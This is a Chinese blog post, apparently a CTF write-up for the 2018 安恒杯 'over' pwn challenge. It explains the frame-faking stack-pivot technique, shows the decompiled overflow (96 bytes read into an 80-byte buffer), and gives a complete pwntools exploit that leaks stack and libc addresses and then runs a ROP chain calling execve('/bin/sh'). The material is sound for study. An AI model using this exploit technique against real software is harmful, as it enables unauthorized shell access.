美文网首页
安恒杯2018-pwn-over

安恒杯2018-pwn-over

作者: Sadmess | 来源:发表于2019-04-04 00:21 被阅读0次

    frame faking

    正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。

    原理

    概括地讲,我们在之前讲的栈溢出不外乎两种方式

    • 控制程序 EIP
    • 控制程序 EBP

    其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下

    buffer padding|fake ebp|leave ret addr|
    

    即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

    • 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
    • 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
    fake ebp
     |
     v
    ebp2|target function addr|leave ret addr|arg1|arg2
    

    这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。

    下面的汇编语法是 intel 语法。

    下面我们来仔细说一下基本的控制过程。

    1.在有栈溢出的程序执行 leave 时,其分为两个步骤

    • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
    • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了
    • ebp2,也就是保存了 ebp2 所在的地址。

    2.执行 ret 指令,会再次执行 leave ret 指令。

    3.执行 leave 指令,其分为两个步骤

    • mov esp, ebp ,这会将 esp 指向 ebp2。
    • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。

    4.执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行

    • push ebp,会将 ebp2 值压入栈中,

    • mov ebp, esp,将 ebp 指向当前基地址。

    此时的栈结构如下

    ebp
    |
    v
    ebp2|leave ret addr|arg1|arg2
    
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      while ( sub_400676() )
        ;
      return 0LL;
    }
    
    int sub_400676()
    {
      char buf[80]; // [rsp+0h] [rbp-50h]
    
      memset(buf, 0, sizeof(buf));
      putchar('>');
      read(0, buf, 96uLL);
      return puts(buf);
    }
    

    漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了
    为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了

    from pwn import *
    context.binary = "./over.over"
    
    def DEBUG(cmd):
        raw_input("DEBUG: ")
        gdb.attach(io, cmd)
    
    io = process("./over.over")
    elf = ELF("./over.over")
    libc = elf.libc
    
    io.sendafter(">", 'a' * 80)
    stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
    sleep(1)
    success("stack -> {:#x}".format(stack))
    
    #  DEBUG("b *0x4006B9\nc")
    io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
    libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
    success("libc.address -> {:#x}".format(libc.address))
    
    pop_rdi_ret=0x400793
    '''
    $ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
    0x00000000000f5279 : pop rdx ; pop rsi ; ret
    '''
    pop_rdx_pop_rsi_ret=libc.address+0x1306d9
    
    
    payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
    
    io.sendafter(">", payload)
    
    io.interactive()
    

    相关文章

      网友评论

          本文标题:安恒杯2018-pwn-over

          本文链接:https://www.haomeiwen.com/subject/molxiqtx.html